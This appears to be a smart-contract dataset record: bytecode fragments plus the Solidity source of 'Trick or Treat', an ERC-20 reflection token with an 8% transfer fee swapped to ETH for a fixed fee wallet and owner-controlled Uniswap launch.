0910390fd5b61090782826111f7565b5050565b6000806002600061091a610c4d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ce9061189d565b60405180910390fd5b6109f46109e2610c4d565b8585846109ef9190611985565b610c55565b600191505092915050565b6000610a13610a0c610c4d565b8484610e20565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aac610c4d565b73ffffffffffffffffffffffffffffffffffffffff16610aca6107c6565b73ffffffffffffffffffffffffffffffffffffffff1614610b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b179061181d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b879061179d565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbc9061187d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c906117bd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e1391906118dd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e879061185d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef79061175d565b60405180910390fd5b610f0b8383836113cd565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f89906117dd565b60405180910390fd5b8181610f9e9190611985565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611030919061192f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109491906118dd565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906118bd565b60405180910390fd5b61111e600083836113cd565b8060036000828254611130919061192f565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611186919061192f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111eb91906118dd565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611267576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125e9061183d565b60405180910390fd5b611273826000836113cd565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156112fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f19061177d565b60405180910390fd5b81816113069190611985565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461135b9190611985565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113c091906118dd565b60405180910390a3505050565b505050565b6000813590506113e181611e4a565b92915050565b6000813590506113f681611e61565b92915050565b60006020828403121561140e57600080fd5b600061141c848285016113d2565b91505092915050565b6000806040838503121561143857600080fd5b6000611446858286016113d2565b9250506020611457858286016113d2565b9150509250929050565b60008060006060848603121561147657600080fd5b6000611484868287016113d2565b9350506020611495868287016113d2565b92505060406114a6868287016113e7565b9150509250925092565b600080604083850312156114c357600080fd5b60006114d1858286016113d2565b92505060206114e2858286016113e7565b9150509250929050565b6114f5816119b9565b82525050565b611504816119cb565b82525050565b600061151582611913565b61151f818561191e565b935061152f818560208601611a0e565b61153881611ad1565b840191505092915050565b600061155060238361191e565b915061155b82611ae2565b604082019050919050565b600061157360228361191e565b915061157e82611b31565b604082019050919050565b600061159660268361191e565b91506115a182611b80565b604082019050919050565b60006115b960228361191e565b91506115c482611bcf565b604082019050919050565b60006115dc60268361191e565b91506115e782611c1e565b604082019050919050565b60006115ff60288361191e565b915061160a82611c6d565b604082019050919050565b600061162260208361191e565b915061162d82611cbc565b602082019050919050565b600061164560218361191e565b915061165082611ce5565b604082019050919050565b600061166860258361191e565b915061167382611d34565b604082019050919050565b600061168b60248361191e565b915061169682611d83565b604082019050919050565b60006116ae60258361191e565b91506116b982611dd2565b604082019050919050565b60006116d1601f8361191e565b91506116dc82611e21565b602082019050919050565b6116f0816119f7565b82525050565b6116ff81611a01565b82525050565b600060208201905061171a60008301846114ec565b92915050565b600060208201905061173560008301846114fb565b92915050565b60006020820190508181036000830152611755818461150a565b905092915050565b6000602082019050818103600083015261177681611543565b9050919050565b6000602082019050818103600083015261179681611566565b9050919050565b600060208201905081810360008301526117b681611589565b9050919050565b600060208201905081810360008301526117d6816115ac565b9050919050565b600060208201905081810360008301526117f6816115cf565b9050919050565b60006020820190508181036000830152611816816115f2565b9050919050565b6000602082019050818103600083015261183681611615565b9050919050565b6000602082019050818103600083015261185681611638565b9050919050565b600060208201905081810360008301526118768161165b565b9050919050565b600060208201905081810360008301526118968161167e565b9050919050565b600060208201905081810360008301526118b6816116a1565b9050919050565b600060208201905081810360008301526118d6816116c4565b9050919050565b60006020820190506118f260008301846116e7565b92915050565b600060208201905061190d60008301846116f6565b92915050565b600081519050919050565b600082825260208201905092915050565b600061193a826119f7565b9150611945836119f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561197a57611979611a73565b5b828201905092915050565b6000611990826119f7565b915061199b836119f7565b9250828210156119ae576119ad611a73565b5b828203905092915050565b60006119c4826119d7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a2c578082015181840152602081019050611a11565b83811115611a3b576000848401525b50505050565b60006002820490506001821680611a5957607f821691505b60208210811415611a6d57611a6c611aa2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611e53816119b9565b8114611e5e57600080fd5b50565b611e6a816119f7565b8114611e7557600080fd5b5056fea2646970667358221220de4b8e44d35c97eaa998405af92ceeddf0ced86aba76933d4bfd4c04a8d7368c64736f6c63430008030033
|
{"success": true, "error": null, "results": {}}
| 3,592 |
0xb65c8757484892d2739247c4c5ddcd17bc0a47c5
|
/**
* TG : t.me/trickortreattokens
*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TrickorTreat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "Trick or Treat";
string private constant _symbol = "Trick or Treat";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x19D4E6bB01302A0Ff3B6aC2A913fDACd75D13B66);
_feeAddrWallet2 = payable(0x19D4E6bB01302A0Ff3B6aC2A913fDACd75D13B66);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 5;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/10*10);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b60405161012591906122b5565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611ebe565b6103e4565b604051610162919061229a565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d91906123d7565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611e6b565b610412565b6040516101ca919061229a565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c919061244c565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190611efe565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c60048036038101906102779190611dd1565b6106be565b60405161028991906123d7565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb91906121cc565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f691906122b5565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190611ebe565b6108c8565b604051610333919061229a565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c9190611e2b565b610ebb565b60405161039e91906123d7565b60405180910390f35b60606040518060400160405280600e81526020017f547269636b206f72205472656174000000000000000000000000000000000000815250905090565b60006103f86103f1610f42565b8484610f4a565b6001905092915050565b600067016345785d8a0000905090565b600061041f848484611115565b6104e08461042b610f42565b6104db8560405180606001604052806028815260200161298960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c39092919063ffffffff16565b610f4a565b600190509392505050565b6104f3610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057790612357565b60405180910390fd5b67016345785d8a0000601181905550565b60006009905090565b6105a2610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062690612357565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f42565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611327565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113aa565b9050919050565b610717610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b90612357565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f547269636b206f72205472656174000000000000000000000000000000000000815250905090565b60006108dc6108d5610f42565b8484611115565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f42565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d81611418565b50565b610968610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612357565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c906123b7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610f4a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1a57600080fd5b505afa158015610b2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b529190611dfe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb457600080fd5b505afa158015610bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bec9190611dfe565b6040518363ffffffff1660e01b8152600401610c099291906121e7565b602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5b9190611dfe565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce4306106be565b600080610cef610862565b426040518863ffffffff1660e01b8152600401610d1196959493929190612239565b6060604051808303818588803b158015610d2a57600080fd5b505af1158015610d3e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d639190611f58565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067016345785d8a00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e65929190612210565b602060405180830381600087803b158015610e7f57600080fd5b505af1158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb79190611f2b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb190612397565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611021906122f7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110891906123d7565b60405180910390a3505050565b60008111611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f90612377565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111af57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146112b3576003600a819055506005600b8190555060006111fd306106be565b9050601060159054906101000a900460ff1615801561126a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112825750601060169054906101000a900460ff165b156112b15761129081611418565b6000479050670429d069189e00008111156112af576112ae47611327565b5b505b505b6112be8383836116a0565b505050565b600083831115829061130b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130291906122b5565b60405180910390fd5b506000838561131a919061259d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600a80846113719190612512565b61137b9190612543565b9081150290604051600060405180830381858888f193505050501580156113a6573d6000803e3d6000fd5b5050565b60006008548211156113f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e8906122d7565b60405180910390fd5b60006113fb6116b0565b905061141081846116db90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114505761144f6126f8565b5b60405190808252806020026020018201604052801561147e5781602001602082028036833780820191505090505b5090503081600081518110611496576114956126c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561153857600080fd5b505afa15801561154c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115709190611dfe565b81600181518110611584576115836126c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115eb30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4a565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161164f9594939291906123f2565b600060405180830381600087803b15801561166957600080fd5b505af115801561167d573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff021916908315